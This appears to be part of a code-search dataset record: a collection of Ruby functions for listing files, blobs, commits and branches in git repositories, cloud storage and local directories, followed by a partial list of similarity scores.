"def grep(pattern, treeish=head) # :yields: path, blob\n options = pattern.respond_to?(:merge) ? pattern.dup : {:e => pattern}\n options.delete_if {|key, value| nil_or_empty?(value) }\n options = options.merge!(\n :cached => true,\n :name_only => true,\n :full_name => true\n )\n \n unless commit = grit.commit(treeish)\n raise \"unknown commit: #{treeish}\"\n end\n \n sandbox do |git, work_tree, index_file|\n git.read_tree({:index_output => index_file}, commit.id)\n git.grep(options).split(\"\\n\").each do |path|\n yield(path, (commit.tree / path))\n end\n end\n self\n end",
"def dir_git(git,branch='master',reg=nil)\n path = http_uri + git + '/trees/master' \n raw = raw_file(path)\n # find all files\n array = Array.new\n reg = Regexp.new(reg) if reg.is_a?(String)\n raw.scan(/file.*\\n.*<a href=\"\\/.*>(.*)<\\/a>.*<\\/td>/) do |name|\n if reg\n array << name.to_s if name.to_s.match(reg)\n else \n array << name.to_s\n end\n end\n return array\n end",
"def get_files\n fields = \"next_page_token, files(id, name, owners, parents, mime_type, sharedWithMeTime, modifiedTime, createdTime)\"\n\n folders = []\n @files = []\n\n #Go through pages of files and save files and folders\n next_token = nil\n first_page = true\n while first_page || (!next_token.nil? && !next_token.empty?)\n results = @service.list_files(q: \"not trashed\", fields: fields, page_token: next_token)\n folders += results.files.select{|file| file.mime_type == DRIVE_FOLDER_TYPE and belongs_to_me?(file)}\n @files += results.files.select{|file| !file.mime_type.include?(DRIVE_FILES_TYPE) and belongs_to_me?(file)}\n next_token = results.next_page_token\n first_page = false\n end\n\n #Cache folders\n folders.each {|folder| @folder_cache[folder.id] = folder}\n\n #Resolve file paths and apply ignore list\n @files.each {|file| file.path = resolve_path file}\n @files.reject!{|file| Helper.file_ignored? file.path, @config}\n\n Log.log_notice \"Counted #{@files.count} remote files in #{folders.count} folders\"\n end",
"def files(uri)\n [].tap do |ary|\n ary.concat Dir[uri]\n search_paths.each { |p| ary.concat Dir[File.join p, uri] }\n end\n end",
"def files_at_commit(pr_id, filter = lambda{true})\n q = <<-QUERY\n select c.sha\n from pull_requests p, commits c\n where c.id = p.base_commit_id\n and p.id = ?\n QUERY\n\n def lslr(tree, path = '')\n all_files = []\n for f in tree.map{|x| x}\n f[:path] = path + '/' + f[:name]\n if f[:type] == :tree\n begin\n all_files << lslr(repo.lookup(f[:oid]), f[:path])\n rescue Exception => e\n STDERR.puts e\n all_files\n end\n else\n all_files << f\n end\n end\n all_files.flatten\n end\n\n base_commit = db.fetch(q, pr_id).all[0][:sha]\n begin\n files = lslr(repo.lookup(base_commit).tree)\n files.select{|x| filter.call(x)}\n rescue Exception => e\n STDERR.puts \"Cannot find commit #{base_commit} in base repo\"\n []\n end\n end",
"def getFiles(tree, name)\n files = []\n\n tree.each_tree do |subtree|\n path = name + subtree[:name] + '/'\n subfiles = getFiles($repo.lookup(subtree[:oid]), path)\n files.push(*subfiles)\n end\n\n tree.each_blob do |file|\n file[:name] = name + file[:name]\n files.push(file)\n end\n\n return files\nend",
"def files_at_commit(pr_id, filter = lambda{true})\n q = <<-QUERY\n select c.sha\n from pull_requests p, commits c\n where c.id = p.base_commit_id\n and p.id = ?\n QUERY\n\n base_commit = db.fetch(q, pr_id).all[0][:sha]\n files = repo.lstree(base_commit, :recursive => true)\n\n files.select{|x| filter.call(x)}\n end",
"def files\n cached = FileAttachment.list_cache\n files = cached.select{|f|f.post_id == id}\n end",
"def files_on_remote\n @bucket_contents = nil\n bucket_contents.map {|item| File.basename(item['Key']) }.sort\n end",
"def list(path=nil, sha=nil)\n remote_path = list_path(path).sub(/^\\//, '').sub(/\\/$/, '')\n\n result = @client.tree(repo, sha || source_branch, recursive: true).tree\n result.sort! do |x, y|\n x.path.split('/').size <=> y.path.split('/').size\n end\n\n # Filters for folders containing the specified path\n result.reject! { |elem| !elem.path.match(remote_path + '($|\\/.+)') }\n raise Error, 'Invalid GitHub path specified' if result.empty?\n\n # Filters out lower levels\n result.reject! do |elem|\n filename = elem.path.split('/').last\n File.join(remote_path, filename).sub(/^\\//, '') != elem.path\n end\n\n result.map do |elem|\n {\n name: elem.path.split('/').last,\n path: elem.path,\n type: elem.type == 'tree' ? 'folder' : 'file',\n sha: elem.sha\n }\n end\n end",
"def list_files\n Find.find(path) do |element| yield element end\n end",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def committed_files sha\n array_output_of \"git diff-tree --no-commit-id --name-only -r #{sha}\"\nend",
"def list_blobs(path='')\n list(path).delete_if { |k,v| not v.kind_of?(Grit::Blob) }\n end",
"def all_files\n @all_files ||= `git ls-files 2> /dev/null`.split(\"\\n\")\n end",
"def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end",
"def index\n @commit_filepaths = CommitFilepath.all\n end",
"def list_by_reference_id(ref_id, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\t# Entry Reference ID\n\t\t\tclient.add_param(kparams, 'refId', ref_id);\n\t\t\t# Pager\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('baseentry', 'listByReferenceId', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def search_in(files, host, options = T.unsafe(nil)); end",
"def get_content_search_paths()\n r = @file_content_search_paths.clone\n p = find_project_dir_of_cur_buffer()\n if p.nil?\n p = vma.buffers.last_dir\n end\n\n if p and !@file_content_search_paths.include?(p)\n r.insert(0, p)\n end\n\n return r\n end",
"def refs(ref=nil)\n prefix = ref ? \"#{path_prefix}/refs/#{ref}\" : \"#{path_prefix}/refs\"\n Ghee::API::Repos::Git::Refs::Proxy.new(connection, prefix)\n end",
"def list_files_from (path,opts = {})\n safe_fetch do\n list_files = Set.new\n var = \"Search in #{path} at #{@host}... \"\n cmd = \"find #{path}\"\n cmd = \"(cd #{path} && ls \" ### dont know why cd alone doesn't work\n cmd << \"-td */\" if opts[:directories]\n cmd << opts[:regexp] if opts[:regexp]\n cmd << \" 2>/dev/null)\"\n out = @ssh.exec!(cmd)\n list_files = out.split\n list_files = out.split(\"/\\n\") if opts[:directories]\n\n var << \"Found #{list_files.size} entries\\n\"\n Logger.<<(__FILE__,\"INFO\",var)\n list_files\n end\n end",
"def list_blobs\n blobs = Hash.new\n now_time = DateTime.now.new_offset(0)\n\n @logger.info(\"list_blobs: Looking for blobs in #{path_prefix.length} paths\")\n\n # Mutate the prefix list if it contains RANGE placeholder\n path_prefix_new = Array.new\n path_prefix.each do |prefix|\n if prefix.include? \"$RANGE\"\n rangevars = prefix.match(/.*\\$RANGE_(\\d+)_TO_(\\d+).*/).to_a\n (rangevars[1]..rangevars[2]).each do |n|\n path_prefix_new.push prefix.gsub(/\\$RANGE_\\d+_TO_\\d+\\$/,n)\n end\n else\n path_prefix_new.push prefix\n end\n end\n\n path_prefix_new.each do |prefix|\n loop do\n # TODO: Extract placeholder for data prefix\n prefix = prefix.gsub(\"$DATE$\",now_time.strftime(\"%y%m%d\"))\n continuation_token = NIL\n entries = @azure_blob.list_blobs(@container, { :timeout => 10, :marker => continuation_token, :prefix => prefix})\n entries.each do |entry|\n entry_last_modified = DateTime.parse(entry.properties[:last_modified])\n elapsed_seconds = ((now_time - entry_last_modified) * 24 * 60 * 60).to_i\n if (elapsed_seconds <= @ignore_older)\n blobs[entry.name] = entry\n end\n end\n\n continuation_token = entries.continuation_token\n break if continuation_token.empty?\n end\n end\n\n @logger.info(\"list_blobs: Finished looking for blobs. #{blobs.length} are queued for possible candidate with new data\")\n\n return blobs\n end",
"def traverse_files\n result = []\n paths = config[:paths].select { |p| File.exist?(p) }\n if paths.empty?\n log_warn \"search.paths #{config[:paths].inspect} do not exist\"\n return result\n end\n Find.find(*paths) do |path|\n is_dir = File.directory?(path)\n hidden = File.basename(path).start_with?('.')\n not_incl = config[:include] && !path_fnmatch_any?(path, config[:include])\n excl = path_fnmatch_any?(path, config[:exclude])\n if is_dir || hidden || not_incl || excl\n Find.prune if is_dir && (hidden || excl)\n else\n result << yield(path)\n end\n end\n result\n end",
"def get_entries(dir, subfolder); end",
"def blob(repo, digest, file)\n doreq('get', \"/v2/#{repo}/blobs/#{digest}\", file)\n end",
"def all_files\n `git ls-files`.\n split(/\\n/).\n map { |relative_file| File.expand_path(relative_file) }.\n reject { |file| File.directory?(file) } # Exclude submodule directories\n end",
"def all_files\n `git ls-files`.\n split(/\\n/).\n map { |relative_file| File.expand_path(relative_file) }.\n reject { |file| File.directory?(file) } # Exclude submodule directories\n end",
"def find_files\n @files = []\n\n Dir.foreach(configured_file_path) do |file_name|\n next if file_name == '.' || file_name == '..'\n next if file_name =~ /^\\./ && Ferver.configuration.serve_hidden == false\n\n found_file = FoundFile.new(configured_file_path, file_name)\n @files << found_file if found_file.valid?\n end\n end",
"def updatedb_search(search)\n file_list = []\n @updatedb.each_pair do | file, _meta |\n if file.match(search)\n file_list << file\n end\n end\n file_list\n end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def files(params = {}, &block)\n params = convert_params(params)\n return execute_paged!(\n :api_method => self.drive.files.list,\n :parameters => params,\n :converter => proc(){ |af| wrap_api_file(af) },\n &block)\n end",
"def get_ls(path)\n #repo = @repo\n #head = repo.commits.first\n #tree = head.tree @branch\n\n tree = @repo.tree @branch\n\n #strip trailing /\n path.sub! /[\\/]*$/, ''\n\n # find dir\n while !path.empty?\n tdir = tree / path\n break if tdir.is_a?(Grit::Tree)\n # strip last conponent to /\n path.sub! /(^|\\/)[^\\/]*$/, ''\n end\n\n if path.empty?\n tdir = tree\n else\n path += '/'\n end\n print \"path:\", path, \"\\n\"\n print \"tdir:\", tdir, \"\\n\"\n\n files = tdir.blobs.map do |b|\n { path: \"#{path}#{b.name}\", name: b.name, siz: b.size }\n end\n dirs = tdir.trees.map do |t|\n { path: \"#{path}#{t.name}\", name: t.name}\n end\n if !path.empty?\n dirs.push( { path: path.sub(/(^|\\/)[^\\/]*\\/$/, ''),\n name: '..'} )\n end\n\n [files, dirs, path]\n end",
"def getChangesOfCommit(commit_id = false)\n my_commit = ((commit_id == false and @repo.commits.size > 0) ? @repo.commits.first : @repo.commit(commit_id))\n if my_commit == nil\n return false\n end\n \n # get list of changed files and parse it\n @filelist = Hash.new\n options = {:r => true, :name_status => true, :no_commit_id => true}\n if @repo.commit(my_commit.sha).parents[0] == nil # if my_commit is the first commit\n options[:root] = true\n end\n changed_files_list = @git.diff_tree(options, my_commit.id).strip\n if changed_files_list.class == String and changed_files_list.length > 0\n changed_files_list.split(\"\\n\").each do |f|\n commit = my_commit\n operation = f[0,1] # D/M/A\n filepath = f[2..-1] # path+filename\n path = \"/\" + filepath.match(/^.+\\//).to_s # just path\n status = \"created\"\n if operation =~ /^D$/i # deleted\n # the file was deleted, so get the blob from the parent-commit\n commit = @repo.commit(my_commit.parents[0].sha)\n status = \"deleted\"\n elsif operation =~ /^M$/i # modified\n status = \"updated\"\n end\n blob = commit.tree/(filepath)\n\n #name = filepath.gsub(path[1..-1], '') #blob.name\n path = path.gsub(/\\/private\\/[0-9]+\\//,'')\n \n \n \n @filelist[\"/\" + filepath] = {\"uploaded\" => '1', \"status\" => status, \"blob_hash\" => blob.id, \"name\" => blob.name, \"path\" => \"/#{path}\", \"size\" => blob.size, \"filetype\" => blob.mime_type, \"filedate\" => @repo.commit(commit.sha).date.strftime('%T %F').to_s}\n \n \n end\n end\n\n if @filelist.size > 0\n return @filelist\n else\n return false\n end\n end",
"def files_commits(num_commits)\n @repo = Grit::Repo.new(@directory)\n related_files = []\n commits_all(num_commits) do |commits|\n commits.each do |commit|\n paths = []\n begin\n commit.diffs.each do |diff|\n if diff.a_path != diff.b_path\n related_files += [[diff.a_path, diff.b_path]]\n end\n paths += [diff.a_path, diff.b_path]\n end\n rescue Grit::Git::GitTimeout\n puts \"Failed to diff for %s\" % commit.sha\n end\n paths.uniq!\n yield commit, paths, related_files\n end\n end\n end",
"def files\n FileList.new(`#@native.files`)\n end",
"def filter_branch_refs(refs)\n refs.select do |r|\n ref_name = r[\"ref\"]\n ref_name.start_with? \"refs/heads\"\n end\n end",
"def find_caches\n Dir.glob(File.join(@root, '**/*.cache')).reduce([]) { |stats, filename|\n stat = safe_stat(filename)\n # stat maybe nil if file was removed between the time we called\n # dir.glob and the next stat\n stats << [filename, stat] if stat\n stats\n }.sort_by { |_, stat| stat.mtime.to_i }\n end",
"def find_files(block)\n files = []\n block.scan(URL_PATTERN).each do |attribute, path|\n if !URI.parse(path).absolute?\n resource = create_resource_file(attribute, path)\n files << resource if resource\n end\n end\n files\n end",
"def git_grep\n # grep on the root object implies searching on HEAD\n grep = @repo.grep(query, nil, ignore_case: true)\n grep.map do |treeish, matches|\n _sha, filename = treeish.split(':', 2)\n SearchResult.new(filename, @score, *matches)\n end.sort\n end",
"def blobs\n contents.select { |v| v.kind_of? Gitlab::Git::Blob }\n end",
"def initialize(path)\n @path = path\n \n rev,path = path.split(\":\",2)\n raise ArgumentError.new(\"Must supply a git revision\") unless rev\n path = File.expand_path(path) if path\n init_git(path || '.')\n @file_pattern = if @search_path == ''\n \"**.rb\"\n elsif @search_path =~ /\\.rb#{File::SEPARATOR}$/\n # So appending each piece into the search path during init_git\n # causes the search path to always end with a /\n @search_path[0...-1]\n else\n File.join(@search_path,\"**.rb\")\n end\n \n @files = []\n \n FileUtils.cd(@working_dir) do\n git_list = git \"ls-tree -r #{rev}\"\n git_list.each_line do |line|\n file = GitFile.new(*line.chomp.split(/\\s+/,4))\n \n if file.type == 'blob' and File.fnmatch(@file_pattern, file.name)\n @files << file \n end\n end\n end\n \n end",
"def dir_contents(path, &b)\n path = Pathname.new(path).cleanpath\n if fs.directory?(path)\n entries = fs.entries(path).map do |entry|\n entry_path = path + entry\n if fs.directory?(entry_path)\n dir_item(entry)\n else\n file_item(entry, fs.get_size(entry_path))\n end\n end\n yield entries\n else\n yield Set.new\n end\n end",
"def file_listing(commit)\n # The only reason this doesn't work 100% of the time is because grit doesn't :/\n # if i find a fix, it'll go upstream :D\n count = 0\n out = commit.diffs.map do |diff|\n count = count + 1\n if diff.deleted_file\n %(<li class='file_rm'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n else\n cla = diff.new_file ? \"add\" : \"diff\"\n %(<li class='file_#{cla}'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n end\n end\n \"<ul id='files'>#{out.join}</ul>\"\n end",
"def ls_tree(_tree, namespace=nil)\n files = []\n\n _tree.each do |a|\n name = namespace ? [namespace, a[:name]].join('/') : a[:name]\n\n if a[:type] == :blob\n files << name\n elsif a[:type] == :tree\n files += ls_tree(@repo.lookup(a[:oid]), name)\n end\n end\n\n files\n end",
"def page_files\n @page_files ||= (Dir.glob (Pathname.pwd.join(\"pages\", \"*.md\"))).sort\n end",
"def search(query, page = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/files/list?parent_id=%i' % [folder]).files\n end",
"def find_files(file_set:)\n if file_set.respond_to?(:file_ids)\n return [] if file_set.file_ids.blank?\n query_service.custom_queries.find_many_file_metadata_by_ids(ids: file_set.file_ids)\n else\n raise ::Valkyrie::Persistence::ObjectNotFoundError,\n \"#{file_set.internal_resource} is not a `Hydra::FileSet` implementer\"\n end\n end",
"def getFile(tree, name, path = '')\n blob = nil\n\n tree.each_blob do |file|\n blob = file if file[:name] == name[/[^\\/]*/]\n blob[:name] = path + blob[:name]\n end\n\n if blob.nil?\n tree.each_tree do |subtree|\n if subtree[:name] == name[/[^\\/]*/]\n path += name.slice! name[/[^\\/]*/]\n name[0] = ''\n return getFile($repo.lookup(subtree[:oid]), name, path + '/')\n end\n end\n end\n\n return blob\nend",
"def modified_files(options)\n flags = '--cached' if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || 'diff'\n\n `git #{subcmd} --name-only -z --diff-filter=ACM --ignore-submodules=all #{flags} #{refs}`.\n split(\"\\0\").\n map(&:strip).\n reject(&:empty?).\n map { |relative_file| File.expand_path(relative_file) }\n end",
"def list\n\t\t\tbegin\n\n\t\t\t\t# Prepare result, array of absolute paths for found files\n # within given directory. Also empty cache\n\t\t\t\tresult = []\n @scan_history = {}\n\n\t\t\t\t# Recursively scan current folder for files\n\t\t\t\tFind.find(@scan_path) do |current_full_path|\n\n\t\t\t\t\t# Get filename, prune if dot\n\t\t\t\t\tfilename = File.basename(current_full_path)\n Find.prune if filename[0] == ?.\n\n # Get extension\n extension = File.extname(current_full_path)\n\n\t\t\t\t\t# Check for file extension, if provided\n\t\t\t\t\tif @scan_extension && extension.eql?(@scan_extension)\n\n # Get foldername\n folder_name = File.dirname(current_full_path)\n\n # Get number of files parsed in current folder, default 0\n folder_depth = @scan_history.fetch(folder_name, nil) || 0\n Logging[self].debug \"At #{folder_name}\" if folder_depth == 0\n\n # If the desired depth hasn't been reached\n unless folder_depth == @scan_depth\n\n # Increase current depth\n folder_depth += 1\n\n # Add and log result\n Logging[self].warn \"Result: '#{current_full_path}'\"\n result << current_full_path\n\n # Update cache, proceed no further in this folder\n @scan_history[folder_name] = folder_depth\n Find.prune\n end\n\t\t\t\t\telse\n\t\t\t\t\t\n\t\t\t\t\t\t# Either move beyond this file, if we're searching\n\t\t\t\t\t\t# for specific files (filtered by extension), or add\n # the path to the result (since no filter applied)\n\t\t\t\t\t\t@scan_extension ? next : (result << current_full_path)\n\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n end # find block\n\n # Log final result length\n Logging[self].info \"Retrieved #{result.length} results\"\n\n\t\t\t\t# Return result\n\t\t\t\tresult\n\n\t\t\t# Rescue any exceptions\n\t\t\trescue Exception => e\n\t\t\t\tLogging[self].error e\n nil\n\t\t\tend\n\t\tend",
"def referenced_files\r\n\t\t(\r\n\t\t\t[file] +\r\n\t\t\t%w[sourcepath importfile].flat_map do |att|\r\n\t\t\t\tfind(att=>/./).flat_map do |asset|\r\n\t\t\t\t\tasset[att].values.compact.map do |path|\r\n\t\t\t\t\t\tpath.sub!(/#.+/,'')\r\n\t\t\t\t\t\tabsolute_path(path) unless path.empty?\r\n\t\t\t\t\tend.compact\r\n\t\t\t\tend\r\n\t\t\tend +\r\n\t\t\tfind.flat_map do |asset|\r\n\t\t\t\tasset.properties.select{ |name,prop| prop.type=='Texture' }.flat_map do |name,prop|\r\n\t\t\t\t\tasset[name].values.compact.uniq.map{ |path| absolute_path(path) }\r\n\t\t\t\tend\r\n\t\t\tend +\r\n\t\t\tfind(_type:'Text').flat_map do |asset|\r\n\t\t\t\tasset['font'].values.compact.map{ |font| absolute_path(font) }\r\n\t\t\tend +\r\n\t\t\t@doc.xpath('/UIP/Project/Classes/*/@sourcepath').map{ |att| absolute_path att.value }\r\n\t\t).uniq\r\n\tend",
"def repo_files\n @vault.sys.auths.select { |_,v| v.type == 'ldap' }\n .keys\n .inject([]) { |acc, elem| acc + group_files(elem) }\n end",
"def find_blob_data(sha, path)\n commit = barerepo.lookup sha\n tree = barerepo.lookup commit.tree_id\n blob = tree.path path\n blobdata = barerepo.read(blob[:oid]).data\n image = {\n name: blob[:name],\n data: blobdata\n }\n [image , commit]\n end",
"def find_files(file_set:)\n if file_set.respond_to?(:file_ids)\n return [] unless file_set.file_ids.present?\n query_service.custom_queries.find_many_file_metadata_by_ids(ids: file_set.file_ids)\n else\n raise ::Valkyrie::Persistence::ObjectNotFoundError,\n \"#{file_set.internal_resource} is not a `Hydra::FileSet` implementer\"\n end\n end",
"def ls(dirpath = nil, filesmatch = '*')\n dirpath << '/' unless dirpath.nil? || dirpath.end_with?('/')\n offset = dirpath.nil? ? 0 : dirpath.length\n r = Regexp.new(\"^#{Regexp.escape(filesmatch)}$\".gsub('\\*','.*').gsub('\\?','.'))\n bucket.as_tree(:prefix => dirpath).children.select(&:leaf?).map{|f| f.key[offset..-1]}.select{|f| f.match(r)}\n end",
"def git_refs()\n # This glob pattern matches recursively so we will find a branch named\n # something like 'feature/subfeature/the-cool-feature'.\n # TODO: get remotes also\n git_dir = git_git_dir()\n\n locals = Dir.glob(File.join(git_dir, 'refs', 'heads', '**', '*')).select do |f|\n !File.directory? f\n end.map do |f|\n {\n 'name' => f.split('/refs/heads/')[1],\n 'hash' => File.open(f).read().rstrip\n }\n end\n\n remotes = Dir.glob(File.join(git_dir, 'refs', 'remotes', '**', '*')).select do |f|\n !File.directory?(f) and !f.end_with? \"/HEAD\"\n end.map do |f|\n {\n 'name' => f.split('/refs/remotes/')[1],\n 'hash' => File.open(f).read().rstrip\n }\n end\n\n locals + remotes\nend",
"def find_files(base_dir, flags); end",
"def tree_map_for(ref)\n @access.tree(ref)\n rescue Grit::GitRuby::Repository::NoSuchShaFound\n []\n end",
"def spreadsheet_contents_for_search obj=self\n if obj.is_extractable_spreadsheet? && obj.content_blob.file_exists?\n content = Rails.cache.fetch(\"#{obj.content_blob.cache_key}-ss-content-for-search\") do\n begin\n xml=obj.spreadsheet_xml\n unless xml.nil?\n content = extract_content(xml)\n content = filter_content(content)\n content = humanize_content(content)\n content\n else\n []\n end\n rescue Exception=>e\n Rails.logger.error(\"Error processing spreadsheet for content_blob #{obj.content_blob_id} #{e}\")\n raise e unless Rails.env==\"production\"\n nil\n end\n end\n else\n Rails.logger.error(\"Unable to find file contents for #{obj.class.name} #{obj.id}\")\n end\n content || []\n end",
"def files; entries.find_all {|e| e.is_a? SiteFile} end",
"def modified_files(options)\n flags = '--cached' if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || 'diff'\n\n `git #{subcmd} --name-only -z --diff-filter=ACMR --ignore-submodules=all #{flags} #{refs}`.\n split(\"\\0\").\n map(&:strip).\n reject(&:empty?).\n map { |relative_file| File.expand_path(relative_file) }\n end",
"def plugin_refs(ref: nil, depth: 0)\n return [] if depth > 2\n\n introspector = LiquidTagFinder.new(content)\n plugin_names = introspector.plugin_names\n collector = plugin_names.empty? ? [] : [[plugin_names[0], ref]]\n introspector.partial_refs.each do |partial, child_ref|\n child_partial = LiquidPartial.where(title: partial).first\n next if child_partial.blank?\n\n collector += child_partial.plugin_refs(ref: child_ref, depth: depth + 1)\n end\n collector.uniq\n end",
"def list(path=nil)\n sha = path_to_sha(path)\n # ensure correct operation even if path doesn't exist in repo\n t = sha ? tree(sha) : tree(@current_branch, (path ? [path] : []))\n t ? tree_contents( t ) : {}\n end",
"def add_refs(commit, ref_cache)\n if ref_cache.empty?\n @repo.refs.each {|ref| ref_cache[ref.commit.id] ||= [];ref_cache[ref.commit.id] << ref}\n end\n commit.refs = ref_cache[commit.id] if ref_cache.include? commit.id\n commit.refs ||= []\n end",
"def files\n return unless git_repo?\n output = Licensed::Shell.execute(\"git\", \"ls-files\", \"--full-name\", \"--recurse-submodules\")\n output.lines.map(&:strip)\n end",
"def branches_containing_commit(commit_ref); end",
"def tree_blob(ref, path)\n ref ||= 'master'\n commit = self.commit ref\n tree = commit.tree_rpc\n Tree.content_by_path(self, tree.id, path, commit.id, tree.path)\n end",
"def branches_containing_commit(commit_ref); end",
"def files_to_analyze\n require 'find'\n ignore_dirs = ['.git','bin','test','assets','lib','log','vendor','tmp','img', 'images', 'uploads', 'fonts']\n ignore_files = Regexp.union(/^\\..*$/i, /^.*(.md)$/i, /^.*(.json)$/i, /^.*(.yml)$/i, /^.*(.log)$/i, /^.*(.png)$/i, /^.*(.jpg)$/i, /^.*(.jpeg)$/i)\n final_files = []\n # for every file in repository - keep the files to process\n Find.find('.') do |path|\n path_name = File.basename(path)\n if FileTest.directory?(path)\n if ignore_dirs.include?(path_name)\n Find.prune\n else\n next\n end\n else\n if path_name.match(ignore_files)\n next\n else\n path.gsub!(/^\\.\\//, '')\n final_files.push(path)\n end\n end\n end\n return final_files\n end",
"def files\n entries.map(&:filepath)\n end",
"def children\n return @children unless @children.nil?\n @children = if exists? && directory?\n Dir.glob( File.join(absolute_path,'*') ).sort.map do |entry|\n git_flow_repo.working_file(\n entry.gsub( /^#{Regexp.escape absolute_path}/, tree )\n )\n end\n else\n false\n end\n end",
"def listFiles()\n #N Without this the files won't get listed\n contentHost.listFiles(baseDir)\n end",
"def list_blobs(name, options={})\n query = { 'comp' => 'list'}\n query['prefix'] = options[:prefix].gsub(/\\\\/, '/') if options[:prefix]\n query['delimiter'] = options[:delimiter] if options[:delimiter]\n query['marker'] = options[:marker] if options[:marker]\n query['maxresults'] = options[:max_results].to_s if options[:max_results]\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n included_datasets = []\n included_datasets.push('metadata') if options[:metadata] == true\n included_datasets.push('snapshots') if options[:snapshots] == true\n included_datasets.push('uncommittedblobs') if options[:uncommittedblobs] == true\n included_datasets.push('copy') if options[:copy] == true\n\n query['include'] = included_datasets.join ',' if included_datasets.length > 0\n\n uri = container_uri(name, query)\n response = call(:get, uri)\n\n Serialization.blob_enumeration_results_from_xml(response.body)\n end",
"def build_cache\n all_files = []\n\n Find.find(@root) do |path|\n if FileTest.directory?(path)\n if File.basename(path)[0] == ?.\n Find.prune\n else\n next\n end\n else\n path.slice!(\"#{@root}/\")\n all_files << path\n end\n end\n\n return all_files\n end",
"def files\n @files ||= full_files.map {|file| relative(file) }\n end",
"def get_committed_files\n # set the current branch name to be the current branch you're on --> need to check that this works as part of push\n curr_branch_name = `git rev-parse --abbrev-ref HEAD`\n\n # raw_sha_list lists all the local, unpushed commit SHAs from your current branch\n raw_sha_list = `git log --graph --pretty=format:'%H' #{curr_branch_name}`\n\n committed_files = []\n # loop through the raw_sha_list and push properly formatted SHAs into the all_shas arr\n raw_sha_list.each_line { |sha|\n # using the .tr method on the sha makes a copy of the sha and replaces instances that matches with the to_str (second arg),\n # unless the range starts with a ^ carrot, in which case, it replaces on matches outside the range\n curr_sha = sha.tr('^A-Za-z0-9', '')\n\n # this `git diff-tree --no-commit-id --name-only -r <SHA>` will list the files of an individual commit when you add the SHA\n # on each iteration, set the changed_files variable to be the list of files from a particular commit, based its SHA\n changed_files = `git diff-tree --no-commit-id --name-only -r #{curr_sha}`\n\n # loop over the changed_files and add in each file that's part of a commit and add into the committed_files arr\n changed_files.each_line { |file|\n # remove any trailing whitespace from the file name and add into our arr\n committed_files << file.rstrip()\n }\n }\n # return the final, no-repeat array of committed files in this push\n return committed_files.uniq\nend",
"def find_files_on_backup conf\n file_matcher = generate_intended_filename_regex conf\n unless BACKUP_SERVERS[conf['backup_hostname']]\n bs = BackupServer.new(conf['backup_hostname'], \n conf['backup_username'], \n conf['backup_destination'])\n BACKUP_SERVERS[conf['backup_hostname']] = bs\n end\n bs = BACKUP_SERVERS[conf['backup_hostname']]\n files = bs.all_files.select {|file| /#{ file_matcher }/ =~ file[:name] }\n return files.reverse()[0,20]\nend",
"def files_in_branches\n result = Mortadella::Horizontal.new headers: %w[BRANCH NAME CONTENT]\n existing_local_branches(order: :main_first).each do |branch|\n files_in(branch: branch).each do |file|\n result << [branch, file, content_of(file: file, for_sha: branch)]\n end\n end\n result.table\nend",
"def gather_internal_refs\n #@files.each.with_object({}) do |(_, x), refs|\n @files.keys.each_with_object({}) do |i, refs|\n #x[:attachment] and next\n @files.get(i,:attachment) and next\n #file, = targetfile(x, read: true)\n file, = @files.targetfile_id(i, read: true)\n Nokogiri::XML(file)\n .xpath(ns(\"//bibitem[@type = 'internal']/\" \\\n \"docidentifier[@type = 'repository']\")).each do |d|\n a = d.text.split(%r{/}, 2)\n a.size > 1 or next\n refs[a[0]] ||= {}\n refs[a[0]][a[1]] = true\n end\n end\n end",
"def applicable_owners_files\n CACHE.cache_block('arb_commit/' + self.sha1 + '/' + 'applicable_owners_files', 0) do\n raise \"not in review repository\" unless exists_in_review_repository?\n\n affected_dirs = changed_files.map { |f| File.dirname(f) }.uniq\n \n owners_files = affected_dirs.\n map { |d| find_owners_file(d) }.\n reject { |d| d.nil? }.\n uniq\n end\n end",
"def find_files\n find_files_recursive(@build_result_dir, '')\n end",
"def files\n return [] unless meta?\n filename = meta['path'] + '/' + meta['filename']\n [\n Inch::Utils::CodeLocation.new('', filename, meta['lineno'])\n ]\n end",
"def get_important_files dir\n list = []\n l = dir.size + 1\n s = nil\n ($visited_files + $bookmarks.values).each do |e|\n if e.index(dir) == 0\n #list << e[l..-1]\n s = e[l..-1]\n next unless s\n if s.index \":\"\n s = s[0, s.index(\":\")] + \"/\"\n end\n # only insert if the file is in a deeper dir, otherwise we'll be duplicating files from this folder\n list << s if s.index \"/\"\n end\n end\n # bookmarks have : which needs to be removed\n #list1 = $bookmarks.values.select do |e|\n #e.index(dir) == 0\n #end\n #list.concat list1\n return list\nend",
"def contents_hash(paths)\n return if paths.nil?\n\n paths = paths.compact.select { |path| File.file?(path) }\n return if paths.empty?\n # rubocop:disable GitHub/InsecureHashAlgorithm\n paths.sort\n .reduce(Digest::XXHash64.new, :file)\n .digest\n .to_s(16) # convert to hex\n # rubocop:enable GitHub/InsecureHashAlgorithm\n end"
] |
[
"0.63553715",
"0.6004246",
"0.6002092",
"0.5849015",
"0.5822561",
"0.56973326",
"0.56710935",
"0.5645902",
"0.5616881",
"0.56070334",
"0.55984116",
"0.55749846",
"0.5451996",
"0.5440513",
"0.5368058",
"0.53602153",
"0.5357161",
"0.5348032",
"0.5295856",
"0.5280364",
"0.5279268",
"0.5247935",
"0.52191",
"0.5216481",
"0.51988965",
"0.5195691",
"0.51856107",
"0.51746845",
"0.5170233",
"0.51682764",
"0.5131178",
"0.51274943",
"0.51218355",
"0.5103996",
"0.5103231",
"0.5095428",
"0.5055765",
"0.5021786",
"0.50021017",
"0.49952656",
"0.49701387",
"0.49701387",
"0.49588963",
"0.4955963",
"0.4939605",
"0.49393186",
"0.49364948",
"0.49323556",
"0.49317932",
"0.49317357",
